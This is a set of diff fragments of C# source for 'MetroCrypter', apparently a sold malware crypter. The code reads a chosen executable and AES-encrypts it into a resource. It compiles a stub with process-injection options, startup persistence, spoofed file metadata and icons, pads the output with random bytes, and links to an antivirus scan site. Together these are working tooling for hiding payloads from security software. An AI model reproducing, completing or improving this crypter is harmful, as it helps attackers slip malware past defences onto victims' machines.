this.product.get_CustomButton().set_Image(null);
this.product.get_CustomButton().Location = new Point(234, 1);
this.product.get_CustomButton().Name = "";
this.product.get_CustomButton().Size = new System.Drawing.Size(21, 21);
this.product.get_CustomButton().set_Style(4);
this.product.get_CustomButton().TabIndex = 1;
this.product.get_CustomButton().set_Theme(1);
this.product.get_CustomButton().set_UseSelectable(true);
this.product.get_CustomButton().Visible = false;
this.product.set_Lines(new string[0]);
this.product.Location = new Point(19, 201);
this.product.set_MaxLength(32767);
this.product.Name = "product";
this.product.set_PasswordChar('\0');
this.product.set_PromptText("Product");
this.product.set_ScrollBars(ScrollBars.None);
this.product.set_SelectedText("");
this.product.set_SelectionLength(0);
this.product.set_SelectionStart(0);
this.product.set_ShortcutsEnabled(true);
this.product.Size = new System.Drawing.Size(256, 23);
this.product.set_Style(3);
this.product.TabIndex = 29;
this.product.set_UseSelectable(true);
this.product.set_WaterMark("Product");
this.product.set_WaterMarkColor(Color.FromArgb(109, 109, 109));
this.product.set_WaterMarkFont(new System.Drawing.Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel));
this.button2.BackColor = Color.FromArgb(85, 94, 102);
this.button2.FlatAppearance.BorderSize = 0;
this.button2.FlatStyle = FlatStyle.Flat;
this.button2.Font = new System.Drawing.Font("Arial", 9.75f, FontStyle.Bold, GraphicsUnit.Point, 0);
this.button2.ForeColor = Color.White;
this.button2.Location = new Point(19, 358);
this.button2.Name = "button2";
this.button2.Size = new System.Drawing.Size(59, 23);
this.button2.TabIndex = 37;
this.button2.Text = "Apply";
this.button2.UseVisualStyleBackColor = false;
this.button2.Click += new EventHandler(this.button2_Click);
this.button3.BackColor = Color.FromArgb(85, 94, 102);
this.button3.FlatAppearance.BorderSize = 0;
this.button3.FlatStyle = FlatStyle.Flat;
this.button3.Font = new System.Drawing.Font("Arial", 9.75f, FontStyle.Bold, GraphicsUnit.Point, 0);
this.button3.ForeColor = Color.White;
this.button3.Location = new Point(102, 358);
this.button3.Name = "button3";
this.button3.Size = new System.Drawing.Size(98, 23);
this.button3.TabIndex = 38;
this.button3.Text = "Random";
this.metroToolTip1.SetToolTip(this.button3, "Randomize Your Settings");
this.button3.UseVisualStyleBackColor = false;
this.button3.Click += new EventHandler(this.button3_Click);
this.button4.BackColor = Color.FromArgb(33, 35, 38);
this.button4.FlatAppearance.BorderSize = 0;
this.button4.FlatStyle = FlatStyle.Flat;
this.button4.Font = new System.Drawing.Font("Arial", 9.75f, FontStyle.Bold, GraphicsUnit.Point, 0);
this.button4.ForeColor = Color.White;
this.button4.Image = (Image)componentResourceManager.GetObject("button4.Image");
this.button4.Location = new Point(217, 358);
this.button4.MaximumSize = new System.Drawing.Size(59, 23);
this.button4.Name = "button4";
this.button4.Size = new System.Drawing.Size(59, 23);
this.button4.TabIndex = 39;
this.metroToolTip1.SetToolTip(this.button4, "Clone Application");
this.button4.UseVisualStyleBackColor = false;
this.button4.Click += new EventHandler(this.button4_Click);
this.metroToolTip1.set_Style(4);
this.metroToolTip1.set_StyleManager(null);
this.metroToolTip1.set_Theme(1);
this.fversion.get_CustomButton().set_Image(null);
this.fversion.get_CustomButton().Location = new Point(234, 1);
this.fversion.get_CustomButton().Name = "";
this.fversion.get_CustomButton().Size = new System.Drawing.Size(21, 21);
this.fversion.get_CustomButton().set_Style(4);
this.fversion.get_CustomButton().TabIndex = 1;
this.fversion.get_CustomButton().set_Theme(1);
this.fversion.get_CustomButton().set_UseSelectable(true);
this.fversion.get_CustomButton().Visible = false;
this.fversion.set_Lines(new string[0]);
this.fversion.Location = new Point(19, 319);
this.fversion.set_MaxLength(32767);
this.fversion.Name = "fversion";
this.fversion.set_PasswordChar('\0');
this.fversion.set_PromptText("File Version");
this.fversion.set_ScrollBars(ScrollBars.None);
this.fversion.set_SelectedText("");
this.fversion.set_SelectionLength(0);
this.fversion.set_SelectionStart(0);
this.fversion.set_ShortcutsEnabled(true);
this.fversion.Size = new System.Drawing.Size(256, 23);
this.fversion.set_Style(3);
this.fversion.TabIndex = 40;
this.fversion.set_UseSelectable(true);
this.fversion.set_WaterMark("File Version");
this.fversion.set_WaterMarkColor(Color.FromArgb(109, 109, 109));
this.fversion.set_WaterMarkFont(new System.Drawing.Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel));
base.AutoScaleDimensions = new SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = Color.FromArgb(33, 35, 38);
base.ClientSize = new System.Drawing.Size(295, 397);
base.Controls.Add(this.fversion);
base.Controls.Add(this.button4);
base.Controls.Add(this.button3);
base.Controls.Add(this.button2);
base.Controls.Add(this.copyright);
base.Controls.Add(this.trademark);
base.Controls.Add(this.product);
base.Controls.Add(this.version);
base.Controls.Add(this.company);
base.Controls.Add(this.desc);
base.Controls.Add(this.name);
base.Controls.Add(this.button1);
base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
base.Name = "Assembly";
base.StartPosition = FormStartPosition.CenterScreen;
this.Text = "Assembly";
base.Load += new EventHandler(this.Assembly_Load);
base.ResumeLayout(false);
}
private string RandomNumber(int _length)
{
string str = "0123456789";
string str1 = "";
Random random = new Random();
for (int i = 0; i < _length; i++)
{
char chr = str[random.Next(0, str.Length)];
str1 = string.Concat(str1, chr.ToString());
}
return str1;
}
private string RandomNumbersp(int _length)
{
string str = "012";
string str1 = "";
Random random = new Random();
for (int i = 0; i < _length; i++)
{
char chr = str[random.Next(0, str.Length)];
str1 = string.Concat(str1, chr.ToString());
}
return str1;
}
private string RandomString(int length)
{
string str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWKYZ1234567890";
str = string.Concat(str, str.ToUpper());
string str1 = "";
Random random = new Random();
for (int i = 0; i < length; i++)
{
char chr = str[random.Next(0, str.Length)];
str1 = string.Concat(str1, chr.ToString());
}
return str1;
}
protected override void WndProc(ref Message m)
{
base.WndProc(ref m);
if (m.Msg == 132)
{
m.Result = (IntPtr)2;
}
}
}
}
@@ -0,0 +1,140 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="button4.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAABkAAAAZCAYAAADE6YVjAAAABGdBTUEAALGPC/xhBQAAAIpJREFUSEvt
kEEKgzAQAJOD/2qLID30L2Kfob5CCqVfaUufFCfLGmqPTUAPOzDEzeRg4gzD2BkhBI8XvOrqNQm5fTnw
wCcO+MI7ysG44t9dYDhrqHSu8INNiS4wxCv2OgrMI3b6ndUFhhrf+PsnpxI9wcYNv9900iTk9gThiC0e
dGtFbjcMY1OcmwH/J3CMIo+FLwAAAABJRU5ErkJggg==
</value>
</data>
<data name="button1.BackgroundImage" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAABkAAAAZCAYAAADE6YVjAAAABGdBTUEAALGPC/xhBQAAASJJREFUSEvt
lbtKxFAURdNON4qOaGM7rd+q/sAU8y8+KkXQ/xDEKq4V9wUxY8ydpJwFm0vOOftsyIM0B/ambdsFukan
KVWBbxX/IqU+NG+RPKGqIOYNeNYMNyn3oblE991Y276hi7QGcS7zcoeWae3GATQ6yH7mRN9wQMHBGOTP
IOvpy/iAgoYYpRfkdepSH1DQmAXyirogTzQ9oOCCLBKDrtB8AQUXoQe3wmfO+QIKLFyjD7fnXKc1Dyz8
+Qzec3rrzjMyDRb9fsiXqNy66UEs2PkWeaLpQRgHX1Ov0f5BGEZ9B9SPUH0Qg6MCCvTrghgwwEH5N6DA
nEGPmmA4iOa2G/v+L6xSHgXzZ+hFM2xS7kPzBBlUFVDAZ5D+45QO1NI0X5iLShm3Ctw+AAAAAElFTkSu
QmCC
</value>
</data>
</root>
@@ -0,0 +1,63 @@
using System;
using System.IO;
using System.Security.Cryptography;
namespace MetroCrypter
{
public class Enc
{
public Enc()
{
}
public static byte[] AESDecrypt(byte[] decrypted, byte[] key2)
{
byte[] array = null;
byte[] numArray = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
using (MemoryStream memoryStream = new MemoryStream())
{
using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
{
rijndaelManaged.KeySize = 256;
rijndaelManaged.BlockSize = 128;
Rfc2898DeriveBytes rfc2898DeriveByte = new Rfc2898DeriveBytes(key2, numArray, 1000);
rijndaelManaged.Key = rfc2898DeriveByte.GetBytes(rijndaelManaged.KeySize / 8);
rijndaelManaged.IV = rfc2898DeriveByte.GetBytes(rijndaelManaged.BlockSize / 8);
rijndaelManaged.Mode = CipherMode.CBC;
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateDecryptor(), CryptoStreamMode.Write))
{
cryptoStream.Write(decrypted, 0, (int)decrypted.Length);
cryptoStream.Close();
}
array = memoryStream.ToArray();
}
}
return array;
}
public static byte[] AESEncrypt(byte[] encrypt, byte[] key2)
{
byte[] array = null;
byte[] numArray = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
using (MemoryStream memoryStream = new MemoryStream())
{
using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
{
rijndaelManaged.KeySize = 256;
rijndaelManaged.BlockSize = 128;
Rfc2898DeriveBytes rfc2898DeriveByte = new Rfc2898DeriveBytes(key2, numArray, 1000);
rijndaelManaged.Key = rfc2898DeriveByte.GetBytes(rijndaelManaged.KeySize / 8);
rijndaelManaged.IV = rfc2898DeriveByte.GetBytes(rijndaelManaged.BlockSize / 8);
rijndaelManaged.Mode = CipherMode.CBC;
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write))
{
cryptoStream.Write(encrypt, 0, (int)encrypt.Length);
cryptoStream.Close();
}
array = memoryStream.ToArray();
}
}
return array;
}
}
}
@@ -0,0 +1,48 @@
namespace MetroCrypter
{
partial class Form1
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.SuspendLayout();
//
// Form1
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(350, 277);
this.Name = "Form1";
this.Text = "Form1";
this.Load += new System.EventHandler(this.Form1_Load);
this.ResumeLayout(false);
}
#endregion
}
}
@@ -0,0 +1,656 @@
using MetroCrypter.Forms;
using MetroCrypter.Properties;
using MetroCrypter.Resources;
using MetroFramework.Components;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Resources;
using System.Runtime.CompilerServices;
using System.Security.Cryptography;
using System.Text;
using System.Windows.Forms;
namespace MetroCrypter
{
public class Form1 : Form
{
private Options op;
private ProfileDialog PD;
private Assembly ass;
private MetroCrypter.Forms.Binding Bnd;
private const int WM_NCHITTEST = 132;
private const int HT_CLIENT = 1;
private const int HT_CAPTION = 2;
private IContainer components = null;
private Button BindButton;
private Button AssemblyButton;
private Button OptionsButton;
private Button CryptButton;
private Button button3;
private Button button1;
private Button button2;
private Label CryptedState;
private MetroToolTip metroToolTip1;
private Button button5;
private Button button6;
public Form1()
{
LicenseGlobal.Seal.Initialize("F86E0000");
MessageBox.Show("By opening this software you agree to the Terms of service\nyou read when you bought this software.", "Terms of service.");
Form1.CID.fpreply = false;
Form1.CID.startupreply = false;
Form1.CID.PDreply = false;
Form1.CID.tmreply = false;
Form1.CID.fmreply = false;
Form1.CID.fpreply = false;
Form1.CID.BindReply = false;
this.InitializeComponent();
}
public void _Pump(string file, int amount, bool random)
{
FileStream fileStream = new FileStream(file, FileMode.Append, FileAccess.Write);
byte[] numArray = new byte[amount];
if (random)
{
(new Random()).NextBytes(numArray);
}
fileStream.Write(numArray, 0, amount);
fileStream.Close();
}
private void AssemblyButton_Click(object sender, EventArgs e)
{
this.ass = new Assembly();
this.ass.ShowDialog();
}
private void BindButton_Click(object sender, EventArgs e)
{
this.Bnd = new MetroCrypter.Forms.Binding();
this.Bnd.ShowDialog();
}
private void button1_Click(object sender, EventArgs e)
{
Application.Exit();
}
private void button2_Click(object sender, EventArgs e)
{
base.WindowState = FormWindowState.Minimized;
}
private void button2_Click_1(object sender, EventArgs e)
{
base.WindowState = FormWindowState.Minimized;
}
private void button3_Click(object sender, EventArgs e)
{
this.PD = new ProfileDialog();
this.PD.ShowDialog();
}
private void button5_Click(object sender, EventArgs e)
{
Process.Start(new ProcessStartInfo("https://www.pscan.xyz/"));
}
private void button6_Click(object sender, EventArgs e)
{
MessageBox.Show("Made by : RyanAllen HF \nAll Rights Reserved");
}
private static void CombineMultipleFilesIntoSingleFile(string inputDirectoryPath, string inputFileNamePattern, string outputFilePath)
{
string[] files = Directory.GetFiles(inputDirectoryPath, inputFileNamePattern);
using (FileStream fileStream = File.Create(outputFilePath))
{
string[] strArrays = files;
for (int i = 0; i < (int)strArrays.Length; i++)
{
using (FileStream fileStream1 = File.OpenRead(strArrays[i]))
{
fileStream1.CopyTo(fileStream);
}
}
}
}
private void CryptButton_Click(object sender, EventArgs e)
{
bool flag;
if (string.IsNullOrEmpty(Form1.CID.filename))
{
MessageBox.Show("No stub found");
}
else if (string.IsNullOrEmpty(Form1.CID.ijtype))
{
MessageBox.Show("Please set an injection type");
}
else if ((string.IsNullOrEmpty(Form1.CID.title) ? false : !string.IsNullOrEmpty(Form1.CID.version)))
{
SaveFileDialog saveFileDialog = new SaveFileDialog()
{
Filter = "Executable Files|*.exe",
InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
};
if (saveFileDialog.ShowDialog() == System.Windows.Forms.DialogResult.OK)
{
string str = MetroCrypter.Properties.Resources.thegoofstuff;
str = str.Replace("[_ccc]", Form1.CID.title);
str = str.Replace("[_ppopop]", Form1.CID.company);
str = str.Replace("[_pbo]", Form1.CID.product);
str = str.Replace("[_t]", Form1.CID.copyright);
str = str.Replace("[_codebranch]", Form1.CID.trademark);
str = str.Replace("[_ddd", Form1.CID.description);
str = str.Replace("[_junk]", Form1.CID.version);
str = str.Replace("[_extramoney]", Form1.CID.fversion);
if (Form1.CID.startupreply)
{
str = str.Replace("[_IsStartupCompany]", "[Ver]");
str = str.Replace("[_RegisteredName]", Form1.CID.Sfilename);
str = str.Replace("[_RegisteredF]", Form1.CID.FolderName);
}
if (Form1.CID.ijtype != "Itself")
{
str = (Form1.CID.ijtype != "Applaunch" ? str.Replace("[_ijto]", "[_CMD]") : str.Replace("[_ijto]", "[_APP]"));
}
else
{
str = str.Replace("[_ijto]", "[_IS]");
}
string str1 = this.RandomString(300);
str = str.Replace("[_key-replace011]", str1);
byte[] numArray = File.ReadAllBytes(Form1.CID.filename);
string base64String = Convert.ToBase64String(numArray);
byte[] bytes = Encoding.UTF8.GetBytes(base64String);
byte[] bytes1 = Encoding.UTF8.GetBytes(str1);
bytes1 = SHA256.Create().ComputeHash(bytes1);
byte[] numArray1 = Enc.AESEncrypt(bytes, bytes1);
if (Form1.CID.delay != string.Empty)
{
str = str.Replace("[_xx]", Form1.CID.delay);
}
if ((Form1.CID.delay == "") | Form1.CID.delay == null)
{
str = str.Replace("[_xx]", "0");
}
string str2 = Path.Combine(Application.StartupPath, "Encrypted.resources");
using (ResourceWriter resourceWriter = new ResourceWriter(str2))
{
resourceWriter.AddResource("enc", numArray1);
resourceWriter.Generate();
}
flag = (!File.Exists(Form1.CID.iconame) ? Compiler.CompileFromSource(str, saveFileDialog.FileName, null, new string[] { str2 }) : Compiler.CompileFromSource(str, saveFileDialog.FileName, Form1.CID.iconame, new string[] { str2 }));
if (flag)
{
if (!Form1.CID.fpreply)
{
this._Pump(saveFileDialog.FileName, int.Parse(this.RandomNumber(2)) * 8 * 124, true);
}
else
{
this._Pump(saveFileDialog.FileName, int.Parse(Form1.CID.txtPump) * 8 * 124, true);
}
MessageBox.Show("Stub Formed");
}
}
}
else
{
MessageBox.Show("You haven't entered the assembly");
}
}
protected override void Dispose(bool disposing)
{
if ((!disposing ? false : this.components != null))
{
this.components.Dispose();
}
base.Dispose(disposing);
}
private void Form1_Load(object sender, EventArgs e)
{
}
private void InitializeComponent()
{
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof(Form1));
this.BindButton = new Button();
this.AssemblyButton = new Button();
this.OptionsButton = new Button();
this.CryptButton = new Button();
this.button3 = new Button();
this.button1 = new Button();
this.button2 = new Button();
this.CryptedState = new Label();
this.metroToolTip1 = new MetroToolTip();
this.button5 = new Button();
this.button6 = new Button();
base.SuspendLayout();
this.BindButton.BackColor = Color.FromArgb(64, 71, 77);
this.BindButton.FlatAppearance.BorderSize = 0;
this.BindButton.FlatAppearance.MouseOverBackColor = Color.FromArgb(85, 94, 102);
this.BindButton.FlatStyle = FlatStyle.Flat;
this.BindButton.Font = new System.Drawing.Font("Source Code Pro Light", 8.999999f, FontStyle.Regular, GraphicsUnit.Point, 0);
this.BindButton.Image = (Image)componentResourceManager.GetObject("BindButton.Image");
this.BindButton.Location = new Point(438, 31);
this.BindButton.Name = "BindButton";
this.BindButton.Size = new System.Drawing.Size(100, 86);
this.BindButton.TabIndex = 13;
this.BindButton.TabStop = false;
this.BindButton.TextAlign = ContentAlignment.BottomCenter;
this.BindButton.TextImageRelation = TextImageRelation.ImageAboveText;
this.metroToolTip1.SetToolTip(this.BindButton, "Binding (Currently Disabled)");
this.BindButton.UseVisualStyleBackColor = false;
this.BindButton.Click += new EventHandler(this.BindButton_Click);
this.AssemblyButton.BackColor = Color.FromArgb(64, 71, 77);
this.AssemblyButton.FlatAppearance.BorderColor = Color.White;
this.AssemblyButton.FlatAppearance.BorderSize = 0;
this.AssemblyButton.FlatAppearance.MouseOverBackColor = Color.FromArgb(85, 94, 102);
this.AssemblyButton.FlatStyle = FlatStyle.Flat;
this.AssemblyButton.Image = (Image)componentResourceManager.GetObject("AssemblyButton.Image");
this.AssemblyButton.Location = new Point(438, 122);
this.AssemblyButton.Name = "AssemblyButton";
this.AssemblyButton.Size = new System.Drawing.Size(100, 86);
this.AssemblyButton.TabIndex = 14;
this.AssemblyButton.TabStop = false;
this.AssemblyButton.TextImageRelation = TextImageRelation.ImageAboveText;
this.metroToolTip1.SetToolTip(this.AssemblyButton, "Assembly");
this.AssemblyButton.UseVisualStyleBackColor = false;
this.AssemblyButton.Click += new EventHandler(this.AssemblyButton_Click);
this.OptionsButton.BackColor = Color.FromArgb(85, 94, 102);
this.OptionsButton.FlatAppearance.BorderSize = 0;
this.OptionsButton.FlatAppearance.MouseOverBackColor = Color.FromArgb(64, 71, 77);
this.OptionsButton.FlatStyle = FlatStyle.Flat;
this.OptionsButton.Font = new System.Drawing.Font("Source Code Pro", 12f, FontStyle.Regular, GraphicsUnit.Point, 0);
this.OptionsButton.Image = (Image)componentResourceManager.GetObject("OptionsButton.Image");
this.OptionsButton.Location = new Point(226, 31);
this.OptionsButton.Name = "OptionsButton";
this.OptionsButton.Size = new System.Drawing.Size(206, 179);
this.OptionsButton.TabIndex = 18;
this.OptionsButton.TabStop = false;
this.OptionsButton.TextAlign = ContentAlignment.BottomCenter;
this.OptionsButton.TextImageRelation = TextImageRelation.ImageAboveText;
this.metroToolTip1.SetToolTip(this.OptionsButton, "Options");
this.OptionsButton.UseVisualStyleBackColor = false;
this.OptionsButton.Click += new EventHandler(this.OptionsButton_Click);
this.CryptButton.BackColor = Color.FromArgb(85, 94, 102);
this.CryptButton.FlatAppearance.BorderSize = 0;
this.CryptButton.FlatAppearance.MouseOverBackColor = Color.FromArgb(64, 71, 77);
this.CryptButton.FlatStyle = FlatStyle.Flat;
this.CryptButton.Font = new System.Drawing.Font("Source Code Pro", 12f, FontStyle.Regular, GraphicsUnit.Point, 0);
this.CryptButton.Image = (Image)componentResourceManager.GetObject("CryptButton.Image");
this.CryptButton.Location = new Point(14, 31);
this.CryptButton.Name = "CryptButton";
this.CryptButton.Size = new System.Drawing.Size(206, 179);
this.CryptButton.TabIndex = 17;
this.CryptButton.TabStop = false;
this.CryptButton.TextAlign = ContentAlignment.BottomCenter;
this.CryptButton.TextImageRelation = TextImageRelation.ImageAboveText;
this.metroToolTip1.SetToolTip(this.CryptButton, "Crypt");
this.CryptButton.UseVisualStyleBackColor = false;
this.CryptButton.Click += new EventHandler(this.CryptButton_Click);
this.button3.BackColor = Color.Transparent;
this.button3.FlatAppearance.BorderColor = Color.FromArgb(64, 71, 77);
this.button3.FlatAppearance.MouseOverBackColor = Color.FromArgb(64, 71, 77);
this.button3.FlatStyle = FlatStyle.Flat;
this.button3.Font = new System.Drawing.Font("Arial", 9f, FontStyle.Bold, GraphicsUnit.Point, 0);
this.button3.Location = new Point(438, -2);
this.button3.Name = "button3";
this.button3.Size = new System.Drawing.Size(100, 24);
this.button3.TabIndex = 25;
this.button3.TabStop = false;
this.button3.Text = "PROFILE";
this.button3.TextAlign = ContentAlignment.BottomCenter;
this.button3.TextImageRelation = TextImageRelation.ImageAboveText;
this.button3.UseVisualStyleBackColor = false;
this.button3.Click += new EventHandler(this.button3_Click);
this.button1.BackColor = Color.FromArgb(33, 35, 38);
this.button1.BackgroundImage = (Image)componentResourceManager.GetObject("button1.BackgroundImage");
this.button1.BackgroundImageLayout = ImageLayout.Center;
this.button1.FlatAppearance.BorderSize = 0;
this.button1.FlatAppearance.MouseOverBackColor = Color.FromArgb(64, 71, 77);
this.button1.FlatStyle = FlatStyle.Flat;
this.button1.Font = new System.Drawing.Font("Source Code Pro Light", 8.999999f, FontStyle.Regular, GraphicsUnit.Point, 0);
this.button1.Location = new Point(614, -5);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(29, 42);
this.button1.TabIndex = 23;
this.button1.TabStop = false;
this.button1.TextAlign = ContentAlignment.BottomCenter;
this.button1.TextImageRelation = TextImageRelation.ImageAboveText;
this.button1.UseVisualStyleBackColor = false;
this.button1.Click += new EventHandler(this.button1_Click);
this.button2.BackColor = Color.FromArgb(33, 35, 38);
this.button2.BackgroundImage = (Image)componentResourceManager.GetObject("button2.BackgroundImage");
this.button2.BackgroundImageLayout = ImageLayout.Center;
this.button2.Cursor = Cursors.Default;
this.button2.FlatAppearance.BorderSize = 0;
this.button2.FlatAppearance.MouseOverBackColor = Color.FromArgb(64, 71, 77);
this.button2.FlatStyle = FlatStyle.Flat;
this.button2.Font = new System.Drawing.Font("Source Code Pro Light", 8.999999f, FontStyle.Regular, GraphicsUnit.Point, 0);
this.button2.Location = new Point(589, -5);
this.button2.Name = "button2";
this.button2.Size = new System.Drawing.Size(28, 56);
this.button2.TabIndex = 27;
this.button2.TabStop = false;
this.button2.TextAlign = ContentAlignment.BottomCenter;
this.button2.TextImageRelation = TextImageRelation.ImageAboveText;
this.button2.UseVisualStyleBackColor = false;
this.button2.Click += new EventHandler(this.button2_Click_1);
this.CryptedState.AutoSize = true;
this.CryptedState.Font = new System.Drawing.Font("Microsoft Sans Serif", 12f, FontStyle.Regular, GraphicsUnit.Point, 0);
this.CryptedState.Location = new Point(17, 5);
this.CryptedState.Name = "CryptedState";
this.CryptedState.Size = new System.Drawing.Size(93, 20);
this.CryptedState.TabIndex = 30;
this.CryptedState.Text = "File Crypted";
this.CryptedState.Visible = false;
this.metroToolTip1.set_Style(4);
this.metroToolTip1.set_StyleManager(null);
this.metroToolTip1.set_Theme(1);
this.button5.BackColor = Color.FromArgb(64, 71, 77);
this.button5.FlatAppearance.BorderSize = 0;
this.button5.FlatAppearance.MouseOverBackColor = Color.FromArgb(85, 94, 102);
this.button5.FlatStyle = FlatStyle.Flat;
this.button5.Font = new System.Drawing.Font("Source Code Pro Light", 8.999999f, FontStyle.Regular, GraphicsUnit.Point, 0);
this.button5.Image = (Image)componentResourceManager.GetObject("button5.Image");
this.button5.Location = new Point(543, 31);
this.button5.Name = "button5";
this.button5.Size = new System.Drawing.Size(100, 86);
this.button5.TabIndex = 32;
this.button5.TabStop = false;
this.button5.TextAlign = ContentAlignment.BottomCenter;
this.button5.TextImageRelation = TextImageRelation.ImageAboveText;
this.metroToolTip1.SetToolTip(this.button5, "Scan");
this.button5.UseVisualStyleBackColor = false;
this.button5.Click += new EventHandler(this.button5_Click);
this.button6.BackColor = Color.FromArgb(64, 71, 77);
this.button6.FlatAppearance.BorderSize = 0;
this.button6.FlatAppearance.MouseOverBackColor = Color.FromArgb(85, 94, 102);
this.button6.FlatStyle = FlatStyle.Flat;
this.button6.Font = new System.Drawing.Font("Source Code Pro Light", 8.999999f, FontStyle.Regular, GraphicsUnit.Point, 0);
this.button6.Image = (Image)componentResourceManager.GetObject("button6.Image");
this.button6.Location = new Point(543, 122);
this.button6.Name = "button6";
this.button6.Size = new System.Drawing.Size(100, 86);
this.button6.TabIndex = 33;
this.button6.TabStop = false;
this.button6.TextAlign = ContentAlignment.BottomCenter;
this.button6.TextImageRelation = TextImageRelation.ImageAboveText;
this.metroToolTip1.SetToolTip(this.button6, "Information");
this.button6.UseVisualStyleBackColor = false;
this.button6.Click += new EventHandler(this.button6_Click);
base.AutoScaleDimensions = new SizeF(6f, 13f);
